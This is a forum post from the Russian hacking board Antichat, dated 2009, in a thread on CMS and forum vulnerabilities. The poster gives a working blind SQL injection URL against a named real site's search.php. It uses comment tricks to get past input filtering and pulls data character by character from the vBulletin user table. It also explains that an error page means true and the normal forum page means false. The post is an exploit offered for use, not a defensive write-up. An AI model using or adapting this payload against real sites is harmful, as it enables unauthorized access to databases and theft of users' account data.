HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Перезагрузить страницу Недоинджект !!!
   
 
 
Опции темы Поиск в этой теме Опции просмотра
Предыдущая Предыдущее сообщение   Следующее сообщение Следующая

  #7  
Старый 06.06.2009, 21:26
l-l00K
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
С нами: 10240166

Репутация: 2097
По умолчанию
Слепая скуль + фильтрация, вот так можно получать данные:
Код:
http://forum.freshmp3.ru/search.php?searchid=2364696&photoplog_searchinfo=1'/**/and/**/if(53=ord(substring((select/**/5/**/from/**/vb3_user/**/limit/**/0,1),1,1)),(select/**/1/**/from/**/information_schema.columns),'')/**/and/**/1='1
В случае true будет выдавать ошибку, в случае false страницу форума
Последний раз редактировалось l-l00K; 06.06.2009 в 21:29..
 
Ответить с цитированием
 



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.